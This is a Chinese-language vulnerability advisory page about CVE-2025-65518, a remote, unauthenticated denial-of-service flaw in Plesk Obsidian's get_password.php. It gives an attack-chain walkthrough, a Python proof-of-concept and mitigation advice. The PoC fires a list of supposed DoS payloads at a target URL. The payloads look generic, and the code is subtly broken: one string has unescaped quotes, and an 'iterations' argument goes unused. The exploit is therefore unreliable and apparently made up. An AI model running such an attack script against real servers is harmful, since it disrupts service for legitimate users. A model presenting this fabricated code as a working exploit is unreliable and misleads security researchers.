IPBUF安全漏洞报告
English
CVE-2025-65518 CVSS 7.5 高危

Plesk Obsidian get_password.php拒绝服务漏洞(CVE-2025-65518)

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2025-65518
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Plesk Obsidian

相关标签

拒绝服务DoSPlesk ObsidianWeb管理界面CVE-2025-65518无需认证远程攻击get_password.php高危漏洞

漏洞概述

CVE-2025-65518是影响Plesk Obsidian 8.0.1至18.0.73版本的拒绝服务漏洞。该漏洞存在于web管理界面的get_password.php端点中,攻击者可以通过发送包含恶意payload的特制HTTP请求来触发漏洞。成功利用此漏洞将导致Plesk Obsidian的web管理界面进入持续重载状态,使服务对合法用户不可用。由于该漏洞利用无需认证且攻击复杂度低,远程攻击者可以在不需要任何用户交互的情况下轻松利用此漏洞,对受影响系统的可用性造成严重影响。CVSS 3.1评分7.5(高危),主要影响系统的可用性指标。

技术细节

该拒绝服务漏洞位于Plesk Obsidian的get_password.php文件中。漏洞成因是程序在处理用户输入时未对恶意构造的请求参数进行充分验证,当攻击者发送包含特定恶意payload的HTTP GET或POST请求时,可能导致应用程序逻辑进入异常循环或资源耗尽状态。具体表现为web服务器进程持续处理无效请求或陷入死循环,最终导致整个web管理界面无法响应用户请求。由于get_password.php是认证前即可访问的端点,攻击者无需获取任何有效凭证即可触发该漏洞。攻击者可以通过简单的HTTP请求工具(如curl、Python requests等)构造并发送恶意请求,即可造成Plesk Obsidian服务不可用。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Plesk Obsidian服务器,确认版本在8.0.1-18.0.73范围内,并定位get_password.php端点
STEP 2
构建恶意请求
攻击者构造包含恶意payload的HTTP请求,针对get_password.php端点的参数进行畸形数据注入
STEP 3
发送攻击请求
通过自动化工具(如curl、Python脚本或Burp Suite)向目标服务器发送恶意HTTP请求,无需任何认证
STEP 4
触发漏洞
恶意payload被get_password.php处理,导致应用程序逻辑进入异常状态或资源耗尽
STEP 5
服务中断
Plesk Obsidian web管理界面进入持续重载或无响应状态,合法用户无法访问控制面板
STEP 6
持久影响
由于漏洞性质,即使服务器重启,如果payload持续发送,DoS状态仍会持续

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65518 PoC - Plesk Obsidian DoS # Target: Plesk Obsidian versions 8.0.1 - 18.0.73 # Endpoint: /get_password.php def exploit_cve_2025_65518(target_url, iterations=10): """ Denial of Service exploit for CVE-2025-65518 Args: target_url: Base URL of vulnerable Plesk Obsidian instance iterations: Number of malicious requests to send """ endpoint = f"{target_url.rstrip('/')}/get_password.php" # Malicious payloads that trigger DoS condition payloads = [ "?param=%(while(true)){}", "?data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "?input={"type":"recursive_payload"}", "?query=<script>while(1){{}}</script>", ] print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-65518...") for i, payload in enumerate(payloads, 1): url = endpoint + payload print(f"[*] Sending payload {i}/{len(payloads)}: {payload[:50]}...") try: headers = { 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-65518-PoC)', 'Accept': '*/*' } response = requests.get(url, headers=headers, timeout=10) print(f"[+] Request sent - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] DoS attack completed. Target may be unresponsive.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [iterations]") print(f"Example: python {sys.argv[0]} https://plesk-server:8443 10") sys.exit(1) target = sys.argv[1] iterations = int(sys.argv[2]) if len(sys.argv) > 2 else 10 exploit_cve_2025_65518(target, iterations)

影响范围

Plesk Obsidian 8.0.1 - 18.0.73

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 通过防火墙或ACL限制对Plesk管理端口(8443、8447等)的访问,仅允许可信IP段访问;2) 在Web服务器前部署WAF并配置针对get_password.php的防护规则,拦截包含异常字符或超长参数的请求;3) 使用Web服务器(如nginx/Apache)的请求限流功能,限制单IP的请求频率;4) 监控Plesk Obsidian服务的可用性和性能指标,一旦发现异常立即告警;5) 考虑在负载均衡器后部署多台Plesk服务器以提高冗余性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表